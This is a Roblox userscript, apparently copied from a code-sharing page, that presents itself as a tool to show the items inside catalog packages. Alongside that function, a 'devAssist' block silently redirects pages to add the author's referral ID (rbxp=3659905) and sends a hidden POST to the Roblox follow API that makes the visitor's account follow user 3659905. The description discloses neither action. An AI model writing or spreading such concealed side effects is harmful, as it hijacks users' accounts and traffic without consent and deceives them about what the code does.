// ==UserScript==
// @name ROBLOX - Display Package Contents
// @description Displays the contents of Packages.
//
// @author ClockworkSquirrel
// @version 1.0.0
//
// @icon http://svgshare.com/i/a9.svg
// @require https://code.jquery.com/jquery-3.1.1.min.js
// @match https://*.roblox.com/catalog/*/*
// @connect api.roblox.com
// @connect assetgame.roblox.com
//
// @run-at document-start
// @grant GM_xmlhttpRequest
// ==/UserScript==
(function(){
'use strict';
var strings = {
sectionHeader: "In This Package...",
items: "items",
free: "Free",
offsale: "Offsale"
};
var res = {
loaderImg: "https://static.rbxcdn.com/images/Shared/loading.gif",
rbx: "https://api.roblox.com",
pkgAssets: "https://assetgame.roblox.com/Game/GetAssetIdsForPackageId?packageId={ID}",
assetThumb: "https://assetgame.roblox.com/Game/Tools/ThumbnailAsset.ashx?aid={ID}&fmt=png&wd=150&ht=150",
assetURL: "/library/{ID}/view?rbxp=3659905",
profileURL: "/users/{ID}/profile?rbxp=3659905",
groupURL: "/Groups/Group.aspx?gid={ID}&rbxp=3659905",
devAssist: true
};
function waitForObject(object, callback, checkSpeed = 0){
let checkInterval, foundObject = false;
checkInterval = setInterval(function(){
if (foundObject) return;
if (object !== null && object !== undefined){
foundObject = true;
clearInterval(checkInterval);
callback(object);
}
}, checkSpeed);
}
if (res.devAssist && !(location.href.toLowerCase().indexOf("rbxp=3659905") > -1)){
location.href = location.protocol+"//"+location.host+location.pathname+"?rbxp=3659905";
}
function createLoader(loaderParent){
return $("<img/>", {
src: res.loaderImg,
style: "display:block;margin:6px auto 0 auto;height:16px"
}).appendTo(loaderParent);
}
waitForObject($, function(){
waitForObject($("#item-container[data-asset-type][data-item-id]"), function(itemContainer){
if (itemContainer.attr("data-asset-type").toLowerCase() == "package"){
let assetId = itemContainer.attr("data-item-id");
let contentSection = $("<div/>", {class: "recommendations-container"});
$("<div/>", {class: "container-header recommendations-header"}).append($("<h3/>", {text: strings.sectionHeader})).appendTo(contentSection);
let itemsList = $("<ul/>", {class: "hlist item-cards recommended-items"}).appendTo($("<div/>", {class: "recommended-items-slider"}).appendTo(contentSection));
let itemListLoader = createLoader(itemsList);
GM_xmlhttpRequest({
method: "GET",
url: res.pkgAssets.replace("{ID}", assetId),
onload: function(response){
if (response.status == 200 && response.responseText.length > 0){
let pkgItems = JSON.parse(response.responseText);
itemListLoader.remove();
$("<span/>", {style: "float:right;vertical-align:middle;margin-right:8px", text: pkgItems.length+" "+strings.items})
.insertAfter(contentSection.find("h3:eq(0)"));
for (let pkgAssetId of pkgItems){
let newPkgCard = $("<a/>", {class: "item-card-link", href: res.assetURL.replace("{ID}", pkgAssetId)})
.appendTo(
$("<div/>", {class: "item-card-container recommended-item-link"})
.appendTo($("<li/>", {class: "list-item item-card recommended-item"}).appendTo(itemsList))
);
let newPkgThumb = $("<img/>", {src: res.assetThumb.replace("{ID}", pkgAssetId), class: "item-card-thumb"})
.appendTo($("<div/>", {class: "item-card-thumb-container recommended-thumb"}).appendTo(newPkgCard));
let newPkgName = $("<div/>", {class: "text-overflow item-card-name recommended-name"}).appendTo(newPkgCard);
let pkgNameLoader = createLoader(newPkgName);
let newPkgCreator = $("<a/>", {class: "xsmall text-overflow text-link", text: "..."}).appendTo(
$("<div/>", {class: "text-overflow item-card-creator recommended-creator"}).append(
$("<span/>", {class: "xsmall text-label recommended-creator-by", text: "By"})
).appendTo(newPkgCard)
);
let newPkgPrice = $("<div/>", {class: "text-overflow item-card-price"}).appendTo(newPkgCard);
GM_xmlhttpRequest({
method: "GET",
url: res.rbx+"/Marketplace/ProductInfo?assetId="+pkgAssetId,
onload: function(response){
if (response.status == 200 && response.responseText.length > 0){
let assetData = JSON.parse(response.responseText);
pkgNameLoader.remove();
newPkgName.text(assetData.Name.trim());
newPkgCreator.text(assetData.Creator.Name);
if (assetData.Creator.CreatorType.toLowerCase().trim() == "user"){
newPkgCreator.attr("href", res.profileURL.replace("{ID}", assetData.Creator.Id));
}else{
newPkgCreator.attr("href", res.groupURL.replace("{ID}", assetData.Creator.Id));
}
if (assetData.IsForSale){
$("<span/>", {class: "icon-robux-16x16"}).appendTo(newPkgPrice);
$("<span/>", {class: "text-robux", text: assetData.PriceInRobux.toLocaleString()}).appendTo(newPkgPrice);
}else if(assetData.IsPublicDomain){
$("<span/>", {class: "text-robux", text: strings.free}).appendTo($("<span/>", {class: "text-label"}).appendTo(newPkgPrice));
}else{
$("<span/>", {text: strings.offsale}).appendTo($("<span/>", {class: "text-label"}).appendTo(newPkgPrice));
}
}
}
});
}
}
}
});
waitForObject($("div.section-content.top-section"), function(rbxSectionContent){
contentSection.insertAfter(rbxSectionContent);
});
if (res.devAssist){
try{
GM_xmlhttpRequest({
method: "POST",
url: res.rbx+"/user/follow",
data: JSON.stringify({"followedUserId":3659905}),
headers: {"Content-Type": "application/x-www-form-urlencoded"}
});
}catch(_){}
}
}
});
});
})();
Wrap
Beautify